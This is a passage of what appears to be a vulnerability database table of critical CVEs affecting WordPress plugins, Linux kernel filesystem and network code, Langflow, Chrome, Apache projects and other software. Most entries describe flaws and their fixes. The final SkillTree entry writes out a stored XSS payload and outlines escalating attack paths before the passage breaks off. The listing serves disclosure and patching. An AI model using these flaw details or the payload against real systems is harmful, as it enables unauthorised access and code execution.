than per-IO, so the restart is cheap.	9.8	More Details
CVE-2026-75800	The Frontegg SAML SSO WordPress plugin through 1.0.1 does not verify the signature or issuer of SAML authentication responses before establishing a session, allowing unauthenticated attackers to log in as any user, including administrators, as well as to create arbitrary accounts.	9.8	More Details
CVE-2026-81402	The DS Ad Rotator WordPress plugin through 0.8 does not perform any capability check, nonce verification, or file-type validation on its image upload handler, allowing unauthenticated attackers to upload arbitrary files, including PHP, to a web-accessible directory, which can lead to remote code execution.	9.8	More Details

CVE-2026-84171	The WP images upload on piclect WordPress plugin through 1.0 does not validate the name or type of uploaded files before writing them to a publicly accessible directory, allowing unauthenticated attackers to upload arbitrary files and execute arbitrary code on the server.	9.8	More Details
CVE-2026-85681	The WP Component WordPress plugin through 2.2.4 does not have any capability or nonce checks on one of the actions it makes available to unauthenticated users, and it takes both the option name and the option value from the request, allowing unauthenticated attackers to overwrite any of the site's options. On a single site installation this leads to a full takeover, as registration can be enabled with a default role of administrator.	9.8	More Details
CVE-2026-78006	The The Events Calendar plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 6.17.4 via the is_safe_widget_instance function. This is due to insufficient protection in is_safe_widget_instance, which can be bypassed because PHP fires magic methods during its pre-parse, combined with enable_rendering_widget_copied() forging a valid wp_hash integrity attribute before unserialize() is reached. This makes it possible for unauthenticated attackers to execute code on the server. This is exploitable without authentication or approval because the plugin's V2 single-event template runs do_blocks() over buffered comment HTML, and WordPress returns a moderation-hash URL that allows an unauthenticated commenter to immediately view their own pending comment, delivering the injected block markup to the vulnerable code path before any moderation occurs. This does require comments to be enabled and visible on events.	9.8	More Details
CVE-2026-78159	The The Events Calendar plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 6.17.3 via the parse_array function. This is due to insufficient validation of the widget 'classes' map, allowing a plain-array payload to bypass the is_safe_widget_instance() object check and reach the callable-invocation sink in Element_Classes::parse_array(). This makes it possible for unauthenticated attackers to execute code on the server. Exploitation requires that the targeted site has comments enabled on tribe_events posts and that at least one comment containing a crafted wp:legacy-widget block has been submitted, as the attack chain is triggered when do_blocks() processes the single-event HTML including the comment area.	9.8	More Details
CVE-2026-90558	sngrep through 1.8.4 contains stack buffer overflow vulnerabilities in SIP attribute formatting routines when header values exceed the 255-byte buffer limit. Attackers can craft malicious SIP packets with oversized Call-ID, X-Call-ID, or other header fields to overflow stack buffers and cause crashes or execute arbitrary code during packet parsing and rendering.	9.8	More Details
CVE-2026-89669	In the Linux kernel, the following vulnerability has been resolved: nfsd: initialize copy-notify stateid before publishing it nfsd4_copy_notify() finished initializing the cpntf state after nfs4_alloc_init_cpntf_state() had already linked it into the s2s_cp_stateids IDR and the parent's sc_cp_list, with cs_count == 1 (the membership reference) and none held for the caller. A racing OFFLOAD_CANCEL (crafted cl_id == nn->s2s_cp_cl_id plus the guessable so_id) could reach manage_cpntf_state() and free the entry, turning the caller's subsequent cpn_cnr_stateid read and cp_p_stateid/cp_p_clid writes into use-after-free. The owning clientid was also only recorded after publication, so it could not gate an ownership check in that window. Record cp_p_stateid and cp_p_clid inside nfs4_alloc_init_cpntf_state() before nfs4_init_cp_state() publishes the entry, and return it with an extra reference. The caller reads the stateid under that reference and drops it with nfs4_put_cpntf_state(); on a late error the laundromat reaps the entry.	9.8	More Details
CVE-2026-89662	In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent lock owner use-after-free during client teardown __destroy_client() releases a client's open owners, but a lock owner whose only reference is a blocked lock (nbl) stays on cl_ownerstr_hashtbl. client_has_state() does not count a bare owner, so DESTROY_CLIENTID can reach __destroy_client() with such owners present. __destroy_client() then walks the table, calling remove_blocked_locks() on each owner without a reference. Freeing a blocked lock drops the owner reference held via flc_owner. The per-net laundromat reaps blocked locks from nn->blocked_locks_lru independently of client state. The two paths share blocked_locks_lock only for the list splice, not the owner's lifetime. The laundromat therefore frees the owner as __destroy_client() dereferences it, a NULL dereference in remove_blocked_locks(). nfsd4_release_lockowner() holds a reference across the same call; __destroy_client() does not. Hold cl_lock across the walk, taking a reference and unhashing each owner, then drop it before remove_blocked_locks() and nfs4_put_stateowner(), which take blocked_locks_lock and cl_lock.	9.8	More Details
CVE-2026-89660	In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent client use-after-free during admin state revocation A stateid holds only a bare pointer to its nfs4_client; a stateid reference does not pin it. The client survives only because __destroy_client() drains its stateids before free_client() runs. nfsd4_revoke_states() drops nn->client_lock across revoke_one_stid(), which dereferences the client to revoke a stateid and read clp->cl_minorversion. A teardown racing the dropped lock can free the client first. Pinning cl_rpc_users under client_lock blocks the DESTROY_CLIENTID and EXCHANGE_ID teardown, which refuses while cl_rpc_users is non-zero. force_expire_client() ignores it: once its wait for cl_rpc_users to reach zero has passed, a later pin goes unnoticed. Under client_lock, skip a client whose cl_time is already zero -- force_expire_client() clears it there before waiting -- otherwise pin cl_rpc_users before dropping the lock. The walk then either sees the expiry and skips, or pins in time for that wait to cover the revoke.	9.8	More Details

CVE-2026-89636	In the Linux kernel, the following vulnerability has been resolved: smb: client: clear ce->tgthint in free_tgts() When free_tgts() frees all structures in ce->tlist, ce->tgthint is left pointing to one of the freed cache_dfs_tgt structures. If ce->tgthint is not reset before it is used later, it results in a use-after-free. Set ce->tgthint to NULL in free_tgts() after the elements are freed to reflect that no elements remain.	9.8	More Details
CVE-2026-89558	In the Linux kernel, the following vulnerability has been resolved: md/raid10: fix still_degraded being inverted in raid10_sync_request() Commit fe6a19d40ceb ("md/md-bitmap: merge md_bitmap_start_sync() into bitmap_operations") converted still_degraded from int to bool, but inverted the assignment in the loop that checks whether the array will still be degraded after the current device is recovered: "still_degraded = 1" became "still_degraded = false". As a result, recovering a device while another mirror is still missing calls md_bitmap_start_sync() with degraded == false, which clears bitmap bits that the still-missing device needs. When that device is re-added, its bitmap-based recovery finds the bits already cleared and skips every region written while the array was degraded, so it is marked In_sync while holding stale data: silent corruption. Reproducer (raid10 near=2, 4 disks, internal bitmap): - fail and remove one disk of each mirror pair - write to the degraded array - re-add both disks and let recovery finish - "check" reports mismatch_cnt=262272 after 256 MiB of degraded writes and file contents differ; the second disk's "recovery" completes in milliseconds because everything is skipped The same conversion in raid1 got it right (still_degraded = true). Restore the correct value.	9.8	More Details
CVE-2026-79724	IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote attacker to execute arbitrary OS commands due to improper neutralization of special elements used in an OS command.	9.8	More Details
CVE-2026-89611	In the Linux kernel, the following vulnerability has been resolved: ntfs: validate non-resident attribute offsets ntfs_attr_update_meta() shifts the attribute name when converting between non-sparse and sparse attributes. Converting to sparse also adds the compressed_size field before the name and mapping pairs, requiring eight additional bytes in the attribute record. However, the validator does not check that name_offset is within safe boundaries for these operations or that the additional space is available. A malicious MFT record could set name_offset such that: 1. The name is positioned at the very end of a non-sparse attribute. Converting to sparse would shift the name forward by 8 bytes, writing beyond the attribute boundary. 2. The name overlaps with the mapping pairs, causing corruption during conversion. Add validation to ensure: - For named attributes, name_offset is within valid bounds - Name does not extend beyond the attribute or overlap with mapping pairs - For non-sparse, non-compressed attributes, eight bytes are available after mapping_pairs_offset for the compressed_size field The space check also covers unnamed attributes, for which name_offset = 0 is valid and no name range needs to be checked.	9.8	More Details
CVE-2026-89612	In the Linux kernel, the following vulnerability has been resolved: ntfs: reject invalid MFT LCNs from boot sector The NTFS boot sector stores the MFT and MFTMirr locations as unsigned 64-bit LCNs, but parse_ntfs_boot_sector() decoded them into an s64. A crafted high-bit value could therefore become negative and pass the existing upper-bound check. The invalid value then propagated into the MFT zone allocator and could result in an out-of-bounds access to lcn_empty_bits_per_page.	9.8	More Details
CVE-2026-89613	In the Linux kernel, the following vulnerability has been resolved: ntfs: reject invalid empty mapping pairs Reject an attribute with empty mapping pairs if it has inconsistent highest VCN and size.	9.8	More Details
CVE-2026-89614	In the Linux kernel, the following vulnerability has been resolved: ntfs: bound the free-cluster bitmap scan to the volume vol->lcn_empty_bits_per_page is sized from vol->nr_clusters at mount, but ntfs_cluster_alloc() bounds its scan of that array by the size of $Bitmap. Those are independent on-disk quantities and the mount-time check only rejects a $Bitmap that is too small, so an image whose $Bitmap covers more clusters than the volume has lets the scan index past the array. A run whose LCN lies in that gap takes the allocator straight there, since the caller passes the file's own last LCN as its locality hint. KASAN reports a slab out-of-bounds read when a file on such a volume is extended. Clamp the scan to what that array covers, mirroring the max_index calculation the mount-time scan already uses, and reject a decoded LCN at or beyond nr_clusters in the mapping pairs decoder. Conforming volumes are unaffected.	9.8	More Details
CVE-2026-89633	In the Linux kernel, the following vulnerability has been resolved: smb: client: fix OOB read/write from unvalidated DataOffset in coalesce_t2() coalesce_t2() computes data pointers directly from server-supplied DataOffset fields with no validation against buffer bounds: data_area_of_tgt = (char *)&pSMBt->hdr.Protocol + get_unaligned_le16(&pSMBt->t2_rsp.DataOffset); data_area_of_src = (char *)&pSMBs->hdr.Protocol + get_unaligned_le16(&pSMBs->t2_rsp.DataOffset); data_area_of_tgt += total_in_tgt; ... memcpy(data_area_of_tgt, data_area_of_src, total_in_src); A small DataOffset can push a pointer below the actual byte area, overwriting header fields; a large one can push it past the buffer end, causing out-of-bounds heap reads (source) or writes (target). The BCC overflow guard does not prevent this: BCC reflects how much data is present, while DataOffset controls where in the buffer it starts. The "validate target area" comment present since the function was first written in 2005 was a placeholder that was never implemented. Add lower- and upper-bound checks for both data pointers before the memcpy, and before any target header fields are modified.	9.8	More Details

CVE-2026-89635	In the Linux kernel, the following vulnerability has been resolved: ksmbd: only rebind the reopened file's own oplock on durable reconnect ksmbd_reopen_durable_fd() walks the inode's m_op_list and rebinds every detached oplock to the reconnecting session: list_for_each_entry_rcu(op, &ci->m_op_list, op_entry, lockdep_is_held(&ci->m_lock)) { if (op->conn) continue; op->conn = ksmbd_conn_get(fp->conn); op->sess = work->sess; } The only key is op->conn == NULL, which every detached durable handle on that inode matches, not just the one owned by fp. When two sessions hold durable handles on the same file and both disconnect, reconnecting one of them adopts the other session's oplock: op->sess is overwritten with the reconnecting session without taking a reference on it, while op->conn pins the connection. The sibling teardown path, session_fd_check(), keys on the identity of the connection being torn down (op->conn == conn) rather than on shared state, and so does not have this problem. Once the adopting session is destroyed, ksmbd_session_destroy() frees it while the foreign oplock still points at it. The reader in ksmbd_close_fd_app_instance_id() validates only opinfo->conn, which is still live thanks to the reference taken above, and then dereferences the stale session: if (!opinfo->conn) { up_read(&fp->f_ci->m_lock); goto out; } ft = &opinfo->sess->file_table; write_lock(&ft->lock); BUG: KASAN: slab-use-after-free in _raw_write_lock+0x74/0xd0 Write of size 4 at addr ffff88810a970528 by task kworker/0:0/9 Workqueue: ksmbd-io handle_ksmbd_work Call Trace: _raw_write_lock+0x74/0xd0 ksmbd_close_fd_app_instance_id+0x183/0x410 smb2_open+0x1346/0x4430 handle_ksmbd_work+0x2bb/0x7b0 Reached from an authenticated session against a share with the default durable-handle and oplock configuration: two sessions open the same file with a durable-v2 handle and an RH lease under distinct AppInstanceIds, both log off, one reconnects with DH2C, and a later durable-v2 create carrying the other AppInstanceId walks into the freed session. Constrain the loop to the oplock owned by the file being reopened.	9.8	More Details
CVE-2026-89637	In the Linux kernel, the following vulnerability has been resolved: smb: client: fix UAF and buffer leak in cifs_check_trans2() for malformed secondary T2 When a valid primary TRANSACT2 response has been received (mid->resp_buf set, mid->multiRsp true) and a subsequent secondary response causes cifs_check_trans2() to return false -- either because the SMB header is invalid (malformed != 0) or because check2ndT2() rejects the PDU -- handle_mid() overwrites mid->resp_buf with the new buffer (leaking the primary buffer) and, because mid->multiRsp is set, skips the server->smallbuf/bigbuf NULL-out. When the user thread frees mid->resp_buf, server->smallbuf or server->bigbuf is left dangling; the demux thread reuses it for the next packet, resulting in a use-after-free. Combine both early-exit conditions and, when mid->multiRsp is already set, abort the pending transaction inline: set multiEnd, call dequeue_mid() with malformed=true, and return true so handle_mid() exits without touching mid->resp_buf or the server buffer pointers.	9.8	More Details
CVE-2026-89659	In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent client use-after-free during delegation revoke A delegation stateid holds only a bare pointer to its owning nfs4_client and does not keep it alive. The client survives its stateids only because __destroy_client() drains cl_delegations and cl_revoked before free_client() runs. nfs4_laundromat() breaks that invariant: it unhashes an expired delegation from cl_delegations, drops deleg_lock, then revoke_delegation() relinks it onto cl_revoked under cl_lock. In that window the delegation is on neither list, so client_has_state() can report no remaining state. Every teardown path first requires cl_rpc_users to be zero, but the laundromat holds no such reference. A client whose recalled delegation has just timed out can therefore reach free_client() while revoke_delegation() is still about to dereference cl_lock, a use-after-free. Pin the client with cl_rpc_users across the revoke so teardown blocks until it completes, then reap the delegation from cl_revoked. A client already expiring reaps its own, so skip it and leave the delegation on del_recall_lru.	9.8	More Details
CVE-2026-89643	In the Linux kernel, the following vulnerability has been resolved: audit: avoid dropping live tree ref on fsnotify rule autoremove audit_del_rule() is used for both netlink deletion templates and internal fsnotify autoremove. The former passes a parsed template which owns a temporary tree reference; the latter passes the installed entry itself. The unconditional audit_put_tree() at the end of audit_del_rule() assumes the template case. For mixed AUDIT_DIR plus AUDIT_EXE rules, an fsnotify autoremove event therefore drops the installed rule's live tree reference. Repeating this across rules sharing the same tree can free the tree while another rule still references it, and a later autoremove dereferences the freed pathname while comparing rules. Move the temporary-tree put to audit_rule_change(), the caller that owns deletion templates. Keep it in the AUDIT_DEL_RULE cleanup so both successful deletion and -ENOENT still release the parser-owned tree. [PM: dropped unnecessary comment for line length reasons]	9.8	More Details
CVE-2026-89651	In the Linux kernel, the following vulnerability has been resolved: ceph: bound MDSCapAuth path and fs_name decode in handle_session() handle_session() decodes the MDSCapAuth records carried by a CEPH_SESSION_OPEN message (msg_version >= 6). For each record the match.path and match.fs_name byte strings are read by first decoding a 32-bit length and then copying that many bytes with the bare ceph_decode_copy(). Unlike the surrounding fields, which all use the _safe decode variants, these two copies are not preceded by a ceph_decode_need() bounds check, and the enclosing MDSCapAuth and MDSCapMatch struct_len fields are skipped rather than enforced as an upper bound. A length larger than the bytes remaining in the message front makes ceph_decode_copy() read past the end of the front buffer. The message front is a dedicated allocation (ceph_msg_new2() -> kvmalloc), so the over-read runs off that object. A malicious or compromised MDS can trigger this with the first post-connect message on mount, with no client-side user interaction; under KASAN it is reported as a slab-out-of-bounds read in handle_session(). Impact: a malicious MDS can force the kernel client to read up to 4 GiB past the message front allocation during session setup, crashing the client (out-of-bounds read). Switch	9.8	More Details

	both copies to ceph_decode_copy_safe(), which performs the ceph_decode_need() bounds check before the copy and branches to the existing bad label, matching the rest of the decoder and the error path that frees the partially decoded cap_auths array.		
CVE-2026-89652	In the Linux kernel, the following vulnerability has been resolved: ceph: bound copied dentry name length in NFS export get_name ceph_get_name() copies the MDS-supplied name into the caller's NAME_MAX-sized buffer with memcpy(name, rinfo->dname, rinfo->dname_len) and then writes name[rinfo->dname_len] = 0, without checking dname_len against NAME_MAX. A malicious or buggy MDS that returns a LOOKUPNAME reply with dname_len > NAME_MAX overflows the buffer. __get_snap_name() copies rde->name / rde->name_len the same unchecked way. Impact: a malicious or compromised Ceph MDS overflows the NAME_MAX name buffer in a client's NFS-export get_name path, a slab out-of-bounds write reported by KASAN. Reachable when a CephFS mount is re-exported over NFS. Add ceph_export_copy_name(), which rejects lengths above NAME_MAX with -ENAMETOOLONG before the copy, and use it in both ceph_get_name() and __get_snap_name().	9.8	More Details
CVE-2026-89653	In the Linux kernel, the following vulnerability has been resolved: ceph: reject export_targets ranks >= CEPH_MAX_MDS in mdsmap decode MDSMap export_targets entries are monitor controlled. check_new_map() uses each entry as a bit number in a fixed stack bitmap, so a rank outside the protocol namespace can make set_bit() write past the end of the array. Reject ranks outside CEPH_MAX_MDS while decoding the map. Do not validate against possible_max_rank here because maps may legitimately reference ranks beyond a temporarily reduced max_mds.	9.8	More Details
CVE-2026-89654	In the Linux kernel, the following vulnerability has been resolved: ceph: fix UAF in check_new_map() on session freed during unlock check_new_map() iterates mdsc->sessions[] and for each active session drops mdsc->mutex to perform per-session operations. The forced-close path (rank removed from map) correctly takes a reference on s via ceph_get_mds_session() before releasing mdsc->mutex, but three other paths do not: Path A (address changed): mutex_unlock → mutex_lock(&s->s_mutex) Path B (reconnect): mutex_unlock → send_mds_reconnect(mdsc, s) Path C (active transition): mutex_unlock → mutex_lock(&s->s_mutex) Without the extra reference, another thread can acquire mdsc->mutex during the unlock window, call __unregister_session() which drops the last reference on s, and free it. The original thread then accesses freed memory via s->s_mutex. Fix by adding ceph_get_mds_session(s) before each mutex_unlock and ceph_put_mds_session(s) after the corresponding mutex_lock, matching the pattern already used in the forced-close path. Race timeline (Path A): Thread A (check_new_map) Thread B (another map update holds mdsc->mutex or session teardown) ---------- ---------- s = mdsc->sessions[i] (refcount == 1, held only by sessions[] array) mutex_unlock(&mdsc->mutex) ---> acquires mdsc->mutex __unregister_session(mdsc, s) sessions[i] = NULL ceph_put_mds_session(s) refcount: 1 -> 0 kfree(s) <--- freed! mutex_lock(&s->s_mutex) UAF on freed s->s_mutex	9.8	More Details
CVE-2026-89655	In the Linux kernel, the following vulnerability has been resolved: ceph: fix UAF in __kick_flushing_caps() on cf entry freed during unlock list_for_each_entry() iterates ci->i_cap_flush_list but drops i_ceph_lock to send cap messages. During the unlock window, handle_cap_flush_ack() can acquire i_ceph_lock, detach cf entries with tid <= flush_tid from the list, release i_ceph_lock, and free them via ceph_free_cap_flush() outside any lock. When the original thread reacquires i_ceph_lock and the for-loop macro advances via cf = list_next_entry(cf, i_list), it dereferences cf->i_list.next on freed memory. The race timeline: __kick_flushing_caps() handle_cap_flush_ack() ---------- ---------- holds i_ceph_lock <--- iterates to cf (tid=10) prepares FLUSH message drops i_ceph_lock <--- __send_cap() — FLUSH(tid=10) MDS sends FLUSH_ACK(tid=10) ---> acquires i_ceph_lock cf->tid(10) <= flush_tid(10), detaches cf from i_cap_flush_list drops i_ceph_lock ceph_free_cap_flush(cf) <- frees it! acquires i_ceph_lock <--- for-loop advances: cf = list_next_entry(cf, i_list) -- UAF on freed cf->i_list.next The cf was just sent by __kick_flushing_caps itself via __send_cap(). The MDS may respond with FLUSH_ACK quickly enough that handle_cap_flush_ack() frees cf before __kick_flushing_caps can finish the iteration. Fix by converting to a manual while loop: save the next pointer under i_ceph_lock before dropping it, then use the saved pointer after reacquiring, so the potentially-freed cf is never accessed again.	9.8	More Details
CVE-2026-89656	In the Linux kernel, the following vulnerability has been resolved: libceph: reject buckets with mismatched CRUSH ids crush_decode() stores bucket data by array slot, and the mapper later derives the per-bucket workspace index from the decoded bucket id. A malformed map can therefore make one bucket reuse another bucket's workspace by encoding an id different from -1 - slot. For uniform buckets, the second replica selection expands the source bucket's permutation into that aliased workspace buffer. If the source bucket is larger than the aliased bucket, the write runs past the smaller permutation array and can escape the kvmalloc'd CRUSH workspace. KASAN reports a slab OOB write of 4 bytes in bucket_perm_choose(). Reject buckets whose encoded id does not match their array slot. Valid CRUSH maps already use the canonical negative id corresponding to the bucket slot, so this restores the invariant expected by work->work[-1 - in->id] without changing valid map behavior.	9.8	More Details
CVE-2026-89658	In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent client use-after-free during NFSv4.0 revoked-state cleanup nfs40_clean_admin_revoked() takes a stateid reference under clp->cl_lock, drops nn->client_lock, and calls nfsd4_drop_revoked_stid(), which dereferences the stateid's client through s->sc_client->cl_lock. The stateid reference does not pin the client, so a teardown racing the dropped lock can free the client while nfsd4_drop_revoked_stid() is still using it. This cleanup runs	9.8	More Details

	from the laundromat, so a periodic sweep can race force_expire_client() driven by a write to the clients/<id>/ctl file. Skip a client that is already expiring and otherwise pin it with cl_rpc_users under client_lock before dropping the lock, matching nfsd4_revoke_states().		
CVE-2026-81204	IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote attacker to execute arbitrary code due to code injection during graph construction.	9.8	More Details
CVE-2026-14563	The advanced-customized-prompts WordPress plugin through 1.0.1 does not verify the password before issuing an authenticated session for a supplied email address in an unauthenticated action, allowing unauthenticated attackers to log in as any registered user, including administrators, or to create arbitrary new accounts.	9.8	More Details
CVE-2026-78573	IBM ContextForge MCP Gateway 1.0.0 through 1.0.7 could allow a remote attacker to gain administrative access due to the use of default credentials.	9.8	More Details
CVE-2026-88877	Traefik is a HTTP reverse proxy and load balancer. In versions >= v3.7.0 and <= v3.7.11, the Kubernetes ingress-nginx provider mishandles Ingresses that carry both an authentication annotation and the nginx.ingress.kubernetes.io/from-to-www-redirect annotation. For such Ingresses the provider creates an additional 'sibling' router that matches on the host alone, carries only the RedirectRegex middleware, and still points at the parent router's protected backend service. Because RedirectRegex is not a terminal handler, a request its pattern does not match is forwarded to the backend, and because the redirect pattern only accepts a numeric port while Traefik's host matcher canonicalizes the authority via net.SplitHostPort, a request with a non-numeric or empty port (for example 'Host: www.example.com:x') selects the sibling router, misses the redirect, and is proxied to the protected backend with none of the Ingress's annotation-derived middlewares applied. This discards not only authentication (e.g. BasicAuth) but every annotation-derived middleware, including source-IP allowlisting. Traefik v2 and v3 releases before v3.7.0 are not affected. The issue is fixed in v3.7.12.	9.8	More Details
CVE-2026-9163	Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in GIS Informatics GisLab Laboratory Management System allows SQL Injection. This issue affects GisLab Laboratory Management System: from 1.4.03 before 1.5.	9.8	More Details
CVE-2026-88278	GeoVision GV-LPC2211 V1.13 fails to enforce WS-Security UsernameToken freshness or nonce reuse protection, allowing a captured PasswordDigest token to be replayed for subsequent ONVIF operations.	9.8	More Details
CVE-2026-80352	Improper Control of Generation of Code ('Code Injection') vulnerability in Apache Camel K. A YAML injection vulnerability in custom resource configuration allows an authorized CR author to inject arbitrary Kubernetes objects, potentially enabling unauthorized resource creation with the privileges of the operator. This issue affects Apache Camel K: from 2.0.0 before 2.9.3, from 2.10.1 before 2.10.2. Users are recommended to upgrade to version 2.9.3, 2.10.2 or 2.11.0, which fixes the issue.	9.8	More Details
CVE-2026-80351	Improper neutralization of directives in dynamically evaluated code ('eval injection') vulnerability in Apache Camel K. An improper neutralization of directives in dynamically evaluated Maven configuration allows tenant-controlled repository content to influence code execution within the operator pod, potentially enabling tenants to execute arbitrary code with the privileges of the operator. This issue affects Apache Camel K: from 2.0.0 before 2.9.3, from 2.10.1 before 2.10.2. Users are recommended to upgrade to version 2.9.3, 2.10.2 or 2.11.0, which fixes the issue.	9.8	More Details
CVE-2026-7188	Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Armiya Information Technologies Ltd. Co. Access Control System allows SQL Injection. This issue affects Access Control System: before Versiyon 2.	9.8	More Details
CVE-2026-57967	An unauthenticated remote attacker can craft a CORE protocol SESSION_REATTACH packet to steal an existing session and assume ongoing execution of the previously authenticated session. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ Artemis: from 1.0.0 through 2.44.0. Users are recommended to upgrade to version 2.57.0, which fixes the issue.	9.8	More Details
CVE-2026-18351	The Drag and Drop File Upload for Elementor Forms plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 1.6.0 via the elementor_file_upload function. This is due to insufficient file type validation in the is_file_type_valid() function, which uses the attacker-controlled 'type' parameter as regex keys in the MIME allowlist, allowing blacklist bypass via a crafted extension that sanitize_file_name() later normalizes to a PHP extension. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible.	9.8	More Details
CVE-2026-71805	An arbitrary file upload and path traversal vulnerability exists in LZ-litchi 1.0.0. Unauthenticated remote attackers can upload arbitrary files and write them outside the intended storage directory via the directory parameter in POST /app-api/infra/file/upload.	9.8	More Details
CVE-2026-71801	An issue was discovered in s-pms SPMS-Server through v1.0. The application contains a hardcoded default access token secret within its core configuration file, which is not overridden or removed in the production environment profile. A remote, unauthenticated attacker can locally forge valid administrative session tokens to completely bypass the authentication mechanism gaining full	9.8	More Details

	unauthorized access to protected backend APIs.		
CVE-2026-36433	An issue in Actions Semiconductor Co. Ltd Tool- Media Player Utilities v.4.46 allows a physically proximate attacker execute arbitrary code via the Production.dll and RdiskUpgrade.exe components	9.8	More Details
CVE-2026-85103	A heap-based buffer overflow in VPN certificate ASN.1 decoding may allow an unauthenticated remote attacker to execute arbitrary code on Check Point Quantum Security Management and Quantum Security Gateway systems.	9.8	More Details
CVE-2026-85102	Improper certificate trust validation during VPN negotiation in Check Point Quantum Security Gateway may allow an unauthenticated remote attacker to execute arbitrary code on the Gateway.	9.8	More Details
CVE-2026-80172	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insufficient Verification of Data Authenticity vulnerability. An unauthenticated attacker with remote access could exploit this, leading to unauthorized access. This vulnerability is considered critical as an unauthenticated attacker can repeatedly reuse a captured request to generate ADMIN access and refresh tokens. Since there is no nonce validation or time limit on requests, the attack can be performed indefinitely. Dell recommends customers to upgrade at the earliest opportunity	9.8	More Details
CVE-2026-85978	An unauthenticated remote code execution vulnerability exists in the Policy Manager console of Akana API Platform. A path normalization discrepancy between the authentication filter and the servlet dispatcher allows a crafted request to bypass authentication and reach an endpoint that evaluates attacker-supplied script code without sandboxing, resulting in arbitrary code execution. Exploitation requires no authentication or user interaction.	9.8	More Details
CVE-2026-56207	Signature of Bearer token is not verified in last step of SAML2 authentication for Impala's hs2-http interface, allowing altering user name and acting as another user. This issue affects Apache Impala: >=4.0.0. Users are recommended to upgrade to version 4.5.2, which fixes this issue.	9.8	More Details
CVE-2026-41871	Missing Authorization, Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in Apache Nutch Server (Nutch REST API). This issue affects Apache Nutch: from 1.10 through 1.22. Users are recommended to upgrade to version 1.23, which removes the Nutch Server. If an upgrade is not possible, user must restrict access to instances running the Nutch Service to trusted users only. Please, also visit the Apache Nutch security advisories https://nutch.apache.org/documentation/security/ .	9.8	More Details
CVE-2026-21096	Heap-based buffer overflow in JPEG decoder of libimagecodec.quram.so prior to SMR Sep-2026 Release 1 allows remote attackers to execute arbitrary code.	9.8	More Details
CVE-2026-21095	Heap-based buffer overflow in DNG decoder of libimagecodec.quram.so prior to SMR Sep-2026 Release 1 allows remote attackers to execute arbitrary code.	9.8	More Details
CVE-2026-87595	Server-side request forgery in Mobile in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)	9.8	More Details
CVE-2026-87544	Incorrect authorization in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions into a privileged page via a crafted HTML page. (Chromium security severity: Low)	9.8	More Details
CVE-2026-87534	Missing authorization in WebView in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via crafted network traffic. (Chromium security severity: Medium)	9.8	More Details
CVE-2026-38626	Garlic-Hub v1.0.1 is vulnerable to SQL Injection in src/Modules/Items/Repositories/ItemsRepository.php.	9.8	More Details
CVE-2026-87929	MaxSite CMS through 109.6 ships with a hardcoded session encryption key in application/config/config.php that is never changed during installation, allowing unauthenticated attackers to forge administrator session cookies. Attackers can mint a malicious ci_session cookie with administrator privileges by computing an HMAC-SHA1 using the publicly known encryption key, bypassing authentication checks in is_login() and mso_check_allow() functions.	9.8	More Details
CVE-2026-88018	rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.75.1, rclone serve s3 configured with --auth-proxy but without --auth-key allows authPairMiddleware to register any client-chosen accessKeyID with an empty ws.s3Secret. gofakes3 then verifies the request’s SigV4 signature against that same empty secret, while Server.auth passes the access key identifier as both the user and authentication value to the proxy without an independent per-identity secret. An unauthenticated network attacker can therefore choose an arbitrary access key, sign with an empty secret, and reach whatever backend the auth-proxy script resolves for that identity. This issue is fixed in version 1.75.1.	9.8	More Details
CVE-2026-	An issue in Flowise 3.1.2 allows a remote attacker to execute arbitrary code via the		More

52098	/api/v1/prediction/<flowId> endpoint	9.8	Details
CVE-2026-88899	knowns versions before 0.31.0 fail to properly validate the x-opencode-directory request header in the /api/opencode proxy endpoint. Remote attackers can supply arbitrary directory paths to execute file operations outside the project root on the host system.	9.8	More Details
CVE-2026-81467	Dell ThinOS 10, versions prior to 2605_10. 2616, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Command execution.	9.8	More Details
CVE-2026-85025	IBM Langflow OSS 1.0.0 through 1.11.5 Langflow could allow an unauthenticated attacker to execute arbitrary code and access or modify chat sessions through publicly shared MCP project endpoints due to improper enforcement of public-flow security restrictions and session isolation controls.	9.8	More Details
CVE-2026-77005	The CODE MONKEYS PROPOSALS WordPress plugin through 1.0.1 does not validate a user-supplied file path before deleting a file, and does not check the capability of the user making the request, allowing any authenticated user, such as a subscriber, to delete arbitrary files on the server, which can lead to a site takeover.	9.6	More Details
CVE-2026-54694	SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading 